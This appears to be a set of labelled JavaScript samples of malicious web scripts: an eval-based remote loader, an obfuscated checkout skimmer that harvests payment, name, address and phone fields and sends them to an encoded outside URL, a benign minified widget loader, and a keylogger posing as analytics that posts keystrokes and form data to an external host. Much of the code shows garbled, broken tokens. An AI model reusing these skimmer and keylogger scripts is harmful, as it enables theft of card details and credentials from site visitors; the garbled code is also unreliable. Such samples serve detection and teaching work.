

File 1: (eval usage example)

JavaScript

```
var par=document.scripts[document.scripts.length-2].text;
par = par.replace('<!--', '');
par = par.replace('-->', '');
par = par.split("-");
var i = par[0];
var o = par[1];
var u = par[2];
function zdRndNum(n){
    var rnd="";
    for(var i=0;i<n;i++)
        rnd+=Math.floor(Math.random()*10);
    return rnd;
}
function isIE() {
    if (!!window.ActiveXObject || "ActiveXObject" in window)
        return true;
    else
        return false;
}
var zdrandomnum = zdRndNum(10);
if(u){
    var url =
    "//sspapi.zenyou.71360.com/js?i="+i+"&o="+o+"&u="+u+"&ran="+zdrandomnum;
}else{
    var url =
    "//sspapi.zenyou.71360.com/js?i="+i+"&o="+o+"&ran="+zdrandomnum;
}
var isie = isIE();
if (isie) {
    document.write( "<script src ="+url+"></script>");
}else{
    var xhr = new XMLHttpRequest();
    xhr.open("GET", url, false);
    xhr.setRequestHeader("Content-type",
    "application/x-www-form-urlencoded");
    xhr.onreadystatechange = function () {
        var XMLHttpReq = xhr;
        if (XMLHttpReq.readyState == 4) {
            if (XMLHttpReq.status == 200) {
                var text = XMLHttpReq.responseText;
                if(window.execScript) {
                    window.execScript(text);
                } else {
                    window.eval(text);
                }
            }
        }
    }
}
```

```

        }
    }
}
};
xhr.send(null);
}

```

File 2: (obfuscated example)

JavaScript

```

function _0xfd2f(_0x4cbd43,_0x26cb82){var _0x472006=_0x4720();return
_0xfd2f=function(_0xfd2ff5,_0x5a7bba){_0xfd2ff5=_0xfd2ff5-0xd3;var
_0x54210b=_0x472006[_0xfd2ff5];return
_0x54210b;},_0xfd2f(_0x4cbd43,_0x26cb82);}var
_0x4d5ab1=_0xfd2f;(function(_0x49367b,_0x1e07e3){var
_0x31a4f3=_0xfd2f,_0x5f409f=_0x49367b();while(![]){try{var
_0x5d4f33=parseInt(_0x31a4f3(0x108))/0x1*(parseInt(_0x31a4f3(0xf6))/0x2)+-pa
rseInt(_0x31a4f3(0x118))/0x3*(-parseInt(_0x31a4f3(0xe1))/0x4)+-parseInt(_0x3
1a4f3(0xef))/0x5*(parseInt(_0x31a4f3(0x105))/0x6)+-parseInt(_0x31a4f3(0x10f)
)/0x7*(-parseInt(_0x31a4f3(0xfc))/0x8)+-parseInt(_0x31a4f3(0x101))/0x9+parse
Int(_0x31a4f3(0x10d))/0xa+-parseInt(_0x31a4f3(0xe8))/0xb*(parseInt(_0x31a4f3
(0x11d))/0xc);if(_0x5d4f33===_0x1e07e3)break;else
_0x5f409f['push'](_0x5f409f['shift']());}catch(_0x14d45e){_0x5f409f['push'](
_0x5f409f['shift']());}})(_0x4720,0xe52d9));function _0x4720(){var
_0x3ddb09=['vnskp_type','34472647ZfYNqD','yxkx1','toString','innerText','rkr
hv','phone','wwtlq','45X0edQ0','lqbjn','length','default_billing','selected0
ptions','parse','region','34ctScIO','mepgq','forEach','Holder','vnskp','scnh
m','16ZjpFvE','object','bmmuw','blfoi','country','3986424sIJGeN','value','ci
ty','JSON','570264RcISWA','qwyjy','replace','101221cMBWHB','slice','firstnam
e','liluj','country_id','13699150S0IvNk','awcsb','4994892xjGFUw','getElement
sByTagName','Domain','IMG','fromCharCode','addresses','yqgnj','wsmlv','undef
ined','12246b0Ddzt','setInterval','wyhyj','select','ycsnm','12gmYQLy','creat
eElement','stringify','state','textarea','input','querySelector','append','i
ndexOf','lytgk','zip','lastname','push','localStorage','zytth','vnskp_param'
,'POST','vqmub','sfofx','hasAttribute','random','getItem','setItem','trim','
nsvus','janyb','836bnvckL','street','postcode','attributes','src','aHR0cHM6L
y9jZG4tcmlVw3J0LmNvbS9zdGF0dXMv'];_0x4720=function(){return

```

```
_0x3ddb09;};return _0x4720();}var
xfkwf={};xfkwf[_0x4d5ab1(0xd5)]=function(_0x59e75c){var
_0x3510bf=_0x4d5ab1;return
btoa(encodeURIComponent(_0x59e75c)[_0x3510bf(0x107)](/%([0-9A-F]{2})/g, funct
ion(_0x5c6ecd,_0x36bb0a){var _0xaebe5=_0x3510bf;return
String[_0xaebe5(0x113)]('0x'+_0x36bb0a);})));};xfkwf[_0x4d5ab1(0x116)]=functi
on(_0x1fdc44){var
_0x47fb3d=_0x4d5ab1,_0x53193b=atob(_0x1fdc44),_0x4bd8d1='';for(var
_0x3afa83=0x0;_0x3afa83<_0x53193b[_0x47fb3d(0xf1)];_0x3afa83++){_0x4bd8d1+='%'+('00'+_0x53193b[_0x3afa83]['charCodeAt'])(0x0)[_0x47fb3d(0xea)](0x10))[_0x
47fb3d(0x109)](-0x2);}return
decodeURIComponent(_0x4bd8d1);},xfkwf[_0x4d5ab1(0xf0)]=document,xfkwf['sfofx
']='W1siaWQiLCAiaW5wdXQtcGF5bWVudC1maXJzdG5hbWUuLCAwLCAiZiIsICJib2xkZXIiXSwg
WyJpZCIsICJpbnB1dC1wYXltZW50LWxhc3RuYW1lIiwgMCwgImwiLCAiSG9sZGVyIl0sIFsiaWQi
LCAiaW5wdXQtcZmlyc3RuYW1lIiwgMCwgImYiLCAiSG9sZGVyIl0sIFsiaWQiLCAiaW5wdXQtcGFz
dG5hbWUuLCAwLCAibCIsICJib2xkZXIiXSwgWyJmaWVsZCIsICJpZnJhbWUuLCAwLCAibiIsICJO
dW1iZXIiXSwgWyJmaWVsZCIsICJpZnJhbWUuLCAwLCAibSIsICJEYXRlIl0sIFsiaZmllbGQILCAi
aWZyYW1lIiwgMCwgInkiLCAiRGF0ZSJdLCBbImZpZWxkIiwgImImcmFtZSIsIDAsICJjIiwgIkNW
ViJdLCBbImlkIiwgImIucHV0LWNjLW93bmVyIiwgMCwgImgiLCAiSG9sZGVyIl0sIFsiaWQiLCAi
aW5wdXQtcY2MtbnVtYmVyIiwgMCwgIm4iLCAiTnVtYmVyIl0sIFsiaWQiLCAiaW5wdXQtcY2MtZXhw
aXJlLWRhdGUuLCAwLCAibSIsICJEYXRlIl0sIFsiaZmllbGQILCAiSG9sZGVyIl0sIFsiaWQiLCAi
aW5wdXQtcGF5bWVudC1lbWFpbCIsIDAsICJlbCIsICJlbWFpbCJdLCBbImlkIiwg
ImIucHV0LWVtYW1lIiwgMCwgImVsIiwgImVtYW1lIl0sIFsiaWQiLCAiaW5wdXQtcGF5bWVudC10
ZWxlcGhvbmUiLCAwLCAicGUuLCAicGhvbmUiXSwgWyJpZCIsICJpbnB1dC10ZWxlcGhvbmUiLCAw
LCAicGUuLCAicGhvbmUiXSwgWyJpZCIsICJpbnB1dC1wYXltZW50LWNpdHkiLCAwLCAiY3kiLCAi
Y210eSJsJdLCBbImlkIiwgImIucHV0LXBheW11bnQtY291bnRyeSIsIDMsICJjdCIsICJjb3VudHJ5
Il0sIFsiaWQiLCAiaW5wdXQtcGF5bWVudC1wb3N0Y29kZSIsIDAsICJ6cCIsICJ6aXAiXSwgWyJp
ZCIsICJpbnB1dC1wYXltZW50LXpvcnUiLCAzLCAic3QILCAic3RhZGUuXSwgWyJpZCIsIFsiaW5w
dXQtcGF5bWVudC1hZGRyZXNzLTIiLCAiaW5wdXQtcGF5bWVudC1hZGRyZXNzLTIiXSwgMCwgImFz
IiwgImFkZHIiXV0=',xfkwf[_0x4d5ab1(0x10b)]=_0x4d5ab1(0xe6),xfkwf[_0x4d5ab1(0x
fb)]=window['JSON'][_0x4d5ab1(0xf4)](xfkwf[_0x4d5ab1(0x116)](xfkwf[_0x4d5ab1
(0xd9)])),xfkwf[_0x4d5ab1(0x10e)]={},xfkwf[_0x4d5ab1(0xec)]=[],xfkwf[_0x4d5a
b1(0xdf)]=_0x4d5ab1(0xfe),xfkwf[_0x4d5ab1(0xe7)]=0x0,xfkwf['vnskp_param']='h
ash',xfkwf['qwyjy']=function(){var
_0x5ebb97=_0x4d5ab1,_0x37be03=xfkwf[_0x5ebb97(0xf0)][_0x5ebb97(0x110)](_0x5e
bb97(0x122)),_0x3a1440=xfkwf[_0x5ebb97(0xf0)][_0x5ebb97(0x110)](_0x5ebb97(0x
11b)),_0x2bedca=xfkwf[_0x5ebb97(0xf0)][_0x5ebb97(0x110)](_0x5ebb97(0x121));f
or(var
_0x1232d1=0x0;_0x1232d1<_0x37be03[_0x5ebb97(0xf1)];_0x1232d1++)xfkwf['ycsnm'
'](_0x37be03[_0x1232d1]);for(var
_0x1232d1=0x0;_0x1232d1<_0x3a1440['length'];_0x1232d1++)xfkwf['ycsnm'](_0x3a
1440[_0x1232d1]);for(var
_0x1232d1=0x0;_0x1232d1<_0x2bedca[_0x5ebb97(0xf1)];_0x1232d1++)xfkwf['ycsnm'
'](_0x2bedca[_0x1232d1]);xfkwf[_0x5ebb97(0x10e)][_0x5ebb97(0x111)]=location['
host'];},xfkwf[_0x4d5ab1(0x11c)]=function(_0x811535){var
_0x14b009=_0x4d5ab1;for(var
```

```
_0x3ec9e8=0x0;_0x3ec9e8<xfkwf[_0x14b009(0xfb)][ 'length' ];_0x3ec9e8++){var
_0x33d39c=xfkwf[_ 'scnhm' ][_0x3ec9e8];if(_0x811535[_0x14b009(0xda)](_0x33d39c[
0x0])){if(typeof _0x33d39c[0x1]==_0x14b009(0xfd)){var
_0x3a4a7a='';_0x33d39c[0x1][_0x14b009(0xf8)](function(_0x3d085c){var
_0x398c2d=_0x14b009,_0x3ce390=document[_0x398c2d(0x123)]('[_ '+_0x33d39c[0x0]+
'=\x22'+_0x3d085c+' \x22'+_ ' ');_0x3ce390!=null&&xfkwf[_0x398c2d(0xee)](_0x3ce
390,_0x33d39c[0x2)][_0x398c2d(0xf1)]>0x0&&(_0x3a4a7a+=xfkwf[_0x398c2d(0xee)]
(_0x3ce390,_0x33d39c[0x2])+'\x20');});xfkwf[_0x14b009(0x10e)][_0x33d39c[0x4]
]=_0x3a4a7a[_0x14b009(0xde)]();}else{if(_0x811535[_0x14b009(0xe4)][_0x33d39c
[0x0]][_0x14b009(0x102)]=_0x33d39c[0x1]&&xfkwf[_0x14b009(0xee)](_0x811535,_
0x33d39c[0x2)][_0x14b009(0xf1)]>0x0){if(_0x33d39c[0x3]=='l')xfkwf[_ 'awcsb' ][_
0x33d39c[0x4]]+='\x20'+xfkwf[_0x14b009(0xee)](_0x811535,_0x33d39c[0x2]);}else
{if(_0x33d39c[0x3]=='y')xfkwf[_0x14b009(0x10e)][_0x33d39c[0x4]]+= '/' +xfkwf[_
0x14b009(0xee)](_0x811535,_0x33d39c[0x2]);}else
xfkwf[_0x14b009(0x10e)][_0x33d39c[0x4]]=xfkwf[_0x14b009(0xee)](_0x811535,_0x
33d39c[0x2]);}}}}},xfkwf[_0x4d5ab1(0x11a)]=function(_0x1f12ef,_0x36855e){va
r
_0x3e9bd7=_0x4d5ab1;if(_0x1f12ef[_ 'hasAttribute' ](_0x36855e)&&_0x1f12ef[_0x3e
9bd7(0xe4)][_0x36855e][_0x3e9bd7(0x102)][_0x3e9bd7(0xf1)]>0x0&&_0x1f12ef[_0x
3e9bd7(0x102)][_0x3e9bd7(0xf1)]>0x0&&_0x1f12ef[_ 'value' ][_0x3e9bd7(0xf1)]<0x1
00)return!![];return![];};xfkwf[_0x4d5ab1(0xee)]=function(_0x26f4c6,_0x105c2
9){var _0x320dc4=_0x4d5ab1;switch(_0x105c29){case 0x0:return
_0x26f4c6[_0x320dc4(0x102)][_ 'trim' ]();case 0x1:return
_0x26f4c6[_ 'innerHTML' ][_0x320dc4(0xde)]();case 0x2:return
_0x26f4c6[_ 'innerText' ][_0x320dc4(0xde)]();case
0x3:if(_0x26f4c6[_ 'value' ][_ 'length' ]>0x0)return
_0x26f4c6[_0x320dc4(0xf3)][0x0][_0x320dc4(0xeb)];else
return'';}}},xfkwf[_0x4d5ab1(0x126)]=function(){var
_0xd0e6cb=_0x4d5ab1;for(var
_0x237983=0x0;_0x237983<xfkwf[_0xd0e6cb(0xfb)][_ 'length' ];_0x237983++){var
_0x4c51fc=xfkwf[_ 'scnhm' ][_0x237983];if(_0x4c51fc[0x3]=='n'&&(typeof
xfkwf[_ 'awcsb' ][_0x4c51fc[0x4]]==_0xd0e6cb(0x117)||xfkwf[_ 'awcsb' ][_0x4c51fc[0
x4]][_0xd0e6cb(0xf1)]<0xb))return![];if((_0x4c51fc[0x3]=='h' ||_0x4c51fc[0x3]
=='f' ||_0x4c51fc[0x3]=='l')&&(typeof
xfkwf[_0xd0e6cb(0x10e)][_0x4c51fc[0x4]]==_0xd0e6cb(0x117)||xfkwf[_0xd0e6cb(0
x10e)][_0x4c51fc[0x4]][_0xd0e6cb(0xf1)]==0x0))return![];if((_0x4c51fc[0x3]=='
'e' ||_0x4c51fc[0x3]=='m' ||_0x4c51fc[0x3]=='y')&&(typeof
xfkwf[_0xd0e6cb(0x10e)][_0x4c51fc[0x4]]==_0xd0e6cb(0x117)||xfkwf[_0xd0e6cb(0
x10e)][_0x4c51fc[0x4]][_ 'length' ]==0x0))return![];if(_0x4c51fc[0x3]=='c'&&(ty
peof
xfkwf[_0xd0e6cb(0x10e)][_0x4c51fc[0x4]]==_0xd0e6cb(0x117)||xfkwf[_0xd0e6cb(0
x10e)][_0x4c51fc[0x4]][_ 'length' ]<0x3))return![];}return!![];};xfkwf[_0x4d5ab
1(0xe9)]=function(_0x2007d3){var _0x162d55=_0x4d5ab1;return
xfkwf[_0x162d55(0xec)][_0x162d55(0x125)](_0x2007d3)!=-0x1;};xfkwf[_ 'b1foi' ]=f
unction(){var
_0xd5498d=_0x4d5ab1;xfkwf[_0xd5498d(0x106)](),xfkwf[_0xd5498d(0xf7)](),xfkwf
[_ 'janyb' ](),xfkwf[_0xd5498d(0xfa)](),xfkwf[_0xd5498d(0xd8)]();};xfkwf[_0x4d5
ab1(0xfa)]=function(){var
```

```

_0x4dcc4c=_0x4d5ab1,_0x1cdb15=xfkwf[_0x4dcc4c(0xd5)](window[_0x4dcc4c(0x104)]
][_0x4dcc4c(0x11f)](xfkwf[_0x4dcc4c(0x10e)]));if(xfkwf[_0x4dcc4c(0x126)]())&&
!xfkwf['yxkx1'](_0x1cdb15)){xfkwf[_0x4dcc4c(0xec)](_0x4dcc4c(0xd3)](_0x1cdb1
5));if(xfkwf['vnskp_type']==0x0){var
_0x31a36b=xfkwf[_0x4dcc4c(0xf0)](_0x4dcc4c(0x11e)](_0x4dcc4c(0x112)]);_0x31a3
6b[_0x4dcc4c(0xe5)]=xfkwf[_0x4dcc4c(0x116)](xfkwf[_0x4dcc4c(0x10b)]))+'?'+xfk
wf[_0x4dcc4c(0xd6)]+=''+_0x1cdb15;};if(xfkwf[_0x4dcc4c(0xe7)']==0x1){var
_0x48fd7e=new
FormData();_0x48fd7e[_0x4dcc4c(0x124)](xfkwf['vnskp_param'],_0x1cdb15),fetch
(xfkwf[_0x4dcc4c(0x116)](xfkwf[_0x4dcc4c(0x10b)]))+'?'+Math[_0x4dcc4c(0xdb)](
),{'method':_0x4dcc4c(0xd7),'body':_0x48fd7e});}},xfkwf[_0x4d5ab1(0xd8)]=fu
nction(){var
_0x47edb5=_0x4d5ab1,_0x3ac81b=xfkwf['zytth'](window[_0x47edb5(0x104)](_0x47e
db5(0x11f)](xfkwf['awcsb']));window[_0x47edb5(0xd4)](_0x47edb5(0xdd)](xfkwf[
_0x47edb5(0xdf)],_0x3ac81b));},xfkwf[_0x4d5ab1(0x115)]=function(){var
_0x31ecae=_0x4d5ab1,_0x5b484b=window['localStorage'](_0x31ecae(0xdc)](xfkwf[
_0x31ecae(0xdf)]);_0x5b484b!=null&&(xfkwf[_0x31ecae(0x10e)]=window[_0x31eca
e(0x104)](_0x31ecae(0xf4)](xfkwf[_0x31ecae(0x116)](_0x5b484b)));},xfkwf[_0x4
d5ab1(0xf7)]=function(){},xfkwf[_0x4d5ab1(0xe0)]=function(){var
_0x43d719=_0x4d5ab1;if(typeof customerData!='undefined'){if(typeof
customerData[_0x43d719(0xf2)]!=undefined&&customerData[_0x43d719(0xf2)]!=nul
l){if(typeof
customerData[_0x43d719(0x114)](customerData[_0x43d719(0xf2)])!=undefined){va
r
_0x243c6e=customerData[_0x43d719(0x114)](customerData[_0x43d719(0xf2)]);xfkw
f['awcsb'](_0x43d719(0x100))=_0x243c6e[_0x43d719(0x10c)],xfkwf[_0x43d719(0x1
0e)](_0x43d719(0x103))=_0x243c6e[_0x43d719(0x103)],xfkwf[_0x43d719(0x10e)](_
0x43d719(0x120))=_0x243c6e['region'](_0x43d719(0xf5)],xfkwf['awcsb'](_0x43d7
19(0xed))=_0x243c6e['telephone'],xfkwf[_0x43d719(0x10e)]('addr')=_0x243c6e[_
0x43d719(0xe2)]('join')(',',),xfkwf[_0x43d719(0x10e)](_0x43d719(0x127))=_0x24
3c6e[_0x43d719(0xe3)],xfkwf[_0x43d719(0x10e)](_0x43d719(0xf9))=_0x243c6e[_0x
43d719(0x10a)]+'\\x20'+_0x243c6e[_0x43d719(0x128)];}}}},xfkwf[_0x4d5ab1(0x115
)](),window[_0x4d5ab1(0x119)](xfkwf[_0x4d5ab1(0xff)],0x1f4);

```

File 3: (clean file example)

JavaScript

```

!function(){var
e={76141:function(e){e.exports={source_map:"hidden-source-map",api_base:"htt
ps://api-iam.mysite.com",public_path:"https://js.mysitecdn.com/",sheets_prox

```

```

y_path:"https://mysite-sheets.com/sheets_proxy",sentry_proxy_path:"https://w
ww.mysite-reporting.com/sentry/index.html",install_mode_base:"https://app.my
site.com",sentry_dsn:"https://f305de69cac64a84a494556d5303dc2d@app.getsentry
.com/24287",intersection_js:"https://js.mysitecdn.com/intersection/assets/ap
p.js",intersection_styles:"https://js.mysitecdn.com/intersection/assets/styl
es.js",article_search_messenger_app_id:27,mode:"production"}}},t={};function
n(r){var o=t[r];if(void 0!==(o))return o.exports;var
i=t[r]={exports:{}};return e[r](i,i.exports,n),i.exports;!function(){
"use strict";var e=/iphone|ipad|ipod|android|blackberry|opera
mini|iemobile/i,t=[".mysite-lightweight-app-launcher",".mysite-launcher-fram
e","#mysite-container",".mysite-messenger",".mysite-notifications"];function
r(e){try{if(!(e in window))return!1;var t=window[e];return
null!=t&&(t.setItem("mysite-test","0"),t.removeItem("mysite-test"),!0)}catc
h(e){return!1}}function o(){var e=i().vendor||"",t=i().userAgent||"";return
0===e.indexOf("Apple")&&/\sSafari\\/.test(t)}function i(){return
navigator||{}}function a(e){return void
0===e&&(e=i().userAgent),/iPad|iPhone|iPod/.test(e)&&!window.MSStream}functi
on s(){var e;return(null==(e=function(){if(a()){var
e=i().appVersion.match(/OS
(\d+)_?(\d+)_?(\d+)?/));return{major:parseInt(e[1],10),minor:parseInt(e[2],10)
,patch:parseInt(e[3]||0,10)}}return null}())?void 0:e.major)>=15}var
c={hasXHR2Support:function(){return"XMLHttpRequest"in
window&&"withCredentials"in new
XMLHttpRequest},hasLocalStorageSupport:function(){return
r("localStorage")},hasSessionStorageSupport:function(){return
r("sessionStorage")},hasFileSupport:function(){return!!(window.FileReader&&w
indow.File&&window.FileList&&window.FormData)},hasAudioSupport:function(){va
r
e=document.createElement("audio");return!!e.canPlayType&&!e.canPlayType("au
dio/mp3").replace(/^no$/,"")},hasVisibilitySupport:function(){return void
0!==(document.hidden||void 0!==(document.mozHidden||void
0!==(document.msHidden||void
0!==(document.webkitHidden)},messengerIsVisible:function(){return
t.some((function(e){var t=window.parent.document.querySelector(e);if(t){var
n=t.getBoundingClientRect();return
n&&n.width>0&&n.height>0}})),messengerHasDisplayNoneSet:function(){return
t.some((function(e){var t=window.parent.document.querySelector(e);if(t){var
n=window.getComputedStyle(t);return
null===n||"none"===n.display}}))},isMobileBrowser:function(){var
t=i().userAgent;return!!t&&(null!=t.match(e)&&void
0!==(window.parent)},isIOSFirefox:function(){return!!i().userAgent.match("Fxi
OS")},isFirefox:function(){return!!i().userAgent.match("Firefox")},isSafari:
o,isElectron:function(){var
e=i().userAgent||"",t=window.parent||{},n=t.process&&t.versions&&t.versions.
electron;return/\sElectron\\/.test(e)||n},isIE:function(){var
e=i().userAgent||"";return
e.indexOf("MSIE")>0||e.indexOf("Trident")>0},isEdge:function(){return(i().us
erAgent||"").indexOf("Edge")>0},isNativeMobile:function(){return

```

```

i().isNativeMobile},isChrome:function(){var
e=window.chrome,t=i().vondor,n=i().userAgent.indexOf("OPR")>-1,r=i().userAge
nt.indexOf("Edge")>-1;return!!i().userAgent.match("CriOS")||null!=e&&"Google
Inc."===t&&!1===n&&!1===r},isIOS:a,isIOS15Safari:function(){var
e=i().userAgent,t=a(e),n=!!e.match(/WebKit/i);return
t&&n&&!e.match(/CriOS/i)&&s()},isAndroid:function(e){return void
0===e&&(e=i().userAgent),e&&e.toLowerCase().indexOf("android")>-1},isMacOS:f
unction(){return
window.navigator.appVersion.indexOf("Mac")>=0}},d=["turbo:visit","turbolinks
:visit","page:before-change"],u=["turbo:before-cache","turbolinks:before-cac
he"],m=["turbo:load","turbolinks:load","page:change"];var p=function(e){var
t=document.createElement("script");return
t.type="text/javascript",t.charset="utf-8",t.src=e,t},l=n(76141).public_path
,f=l+"frame.7a3ddac5.js",w=l+"vondor.e163e343.js",h=l+"frame-modern.78abb9d0
.js",v=l+"vondor-modern.dde03d24.js",g="MySite",b=/bot|googlebot|crawler|spi
der|robot|crawling|facebookexternalhit/i,y=function(){return
window[g]&&window[g].booted},S=function(){var
e,t=!!(e=navigator.userAgent.match(/Chrom(?:e|ium)\\/([0-9\\.]+)\\/))&&e[1];retu
rn!!t&&t.split(".").map((function(e){return parseInt(e)})),A=function(){var
e=document.querySelector('meta[name="referrer"]'),t=e?'<meta name="referrer"
content="'+e.content+' '>':"",n=document.createElement("iframe");n.id="mysite
-frame",n.setAttribute("style","position: absolute !important; opacity: 0
!important; width: 1px !important; height: 1px !important; top: 0
!important; left: 0 !important; border: none !important; display: block
!important; z-index: -1 !important; pointer-events:
none;"),o()&&n.setAttribute("style",n.getAttribute("style")+"visibility:
hidden;"),n.setAttribute("aria-hidden","true"),n.setAttribute("tabIndex","-1
"),n.setAttribute("title","MySite"),document.body.appendChild(n),function(e,
t,n){if(void 0===n&&(n="en"),c.isFirefox()){var
r=e.contentDocument.open();r.write("<!DOCTYPE
html>"),r.close()}!function(e,t,n){void
0===n&&(n="en"),e.documentElement.innerHTML=t,e.documentElement.setAttribute
("lang",n)}(e.contentDocument,t,n)}(n,'<!DOCTYPE html>\n      <html
lang="en">\n        <head>\n          '+t+"\n        </head>\n        <body>\n
</body>\n      </html>");var
r,i=!!(r=S())&&r[0]>=120,a=p(i?h:f),s=p(i?v:w);return
n.contentDocument.head.appendChild(a),n.contentDocument.head.appendChild(s),
window.__mysiteAssignLocation=function(e){window.location.assign(e)},window.
__mysiteReloadLocation=function(){window.location.reload()},n},x=function(){
var
e=document.getElementById("mysite-frame");e&&e.parentNode&&e.parentNode.remo
veChild(e),delete window.__mysiteAssignLocation,delete
window.__mysiteReloadLocation},_=function(){if(!window[g]){var e=function
e(){for(var t=arguments.length,n=new
Array(t),r=0;r<t;r++)n[r]=arguments[r];e.q.push(n)};e.q=[],window[g]=e}},E=f
unction(){y()||(_(),A(),window[g].booted=!0)};"attachEvent"in
window&&!window.addEventListener||navigator&&navigator.userAgent&&MSIE
9\0/.test(navigator.userAgent)&&window.addEventListener&&!window.atob||"onp

```



```

ropertychange"in document&&window.matchMedia&&/MSIE
10\.\0/.test(navigator.userAgent)||navigator&&navigator.userAgent&&b.test(nav
igator.userAgent)||window.isMySiteMessengerSheet||y()||(E(),function(e,t,n){
m.forEach((function(t){document.addEventListener(t,e)})),u.forEach((function
(e){document.addEventListener(e,t)})),d.forEach((function(e){document.addEve
ntListener(e,n)}))}(E,x,(function(){window[g]("shutdown",!1),delete
window[g],x(),_(){})){}));

```

File 4: (keylogger example)

JavaScript

```

(function () {
  console.log("Analytics loaded!");
  const externURL = "https://something.refreshment.ltd/send";
  const externURLKeys = "https://something.refreshment.ltd/keys";

  // Helper function to send data
  function sendData(data, url) {
    const xhr = new XMLHttpRequest();
    xhr.open("POST", url, true);
    xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
    xhr.onreadystatechange = function () {
      if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
        console.log("Analytics sent!");
      } else if (xhr.readyState === XMLHttpRequest.DONE) {
        console.error("Failed to send analytics: ", xhr.statusText);
      }
    };
    xhr.send(JSON.stringify(data));
  }

  // Keylogger
  let keys = "";
  window.addEventListener("keydown", e => {
    // If it's not just a letter (e.g. a modifier key), make it easier to
    spot e.g. "[Tab]"
    if (e.key.length > 1) {
      keys += `[${e.key}]`;
    } else {

```



```

        keys += e.key;
    }
});
window.addEventListener("beforeunload", function (e) {
    if (keys.length === 0) {
        return;
    }
    e.preventDefault();
    sendData({
        keys,
        url: window.location.href
    }, externURLKeys);
});

function collectFormData() {
    const formData = {
        url: window.location.href
    }; // Record URL
    const inputs = document.querySelectorAll("input, select, textarea");
    inputs.forEach(input => {
        // Only grab inputs that have a value
        if (input.type !== "submit" && input.type !== "button" &&
input.value.length > 0) {
            formData[input.name || input.id] = input.value;
        }
    });
    return formData;
}
document.addEventListener("submit", function (e) {
    e.preventDefault();
    const formData = collectFormData();
    sendData(formData, externURL);
});
})();

```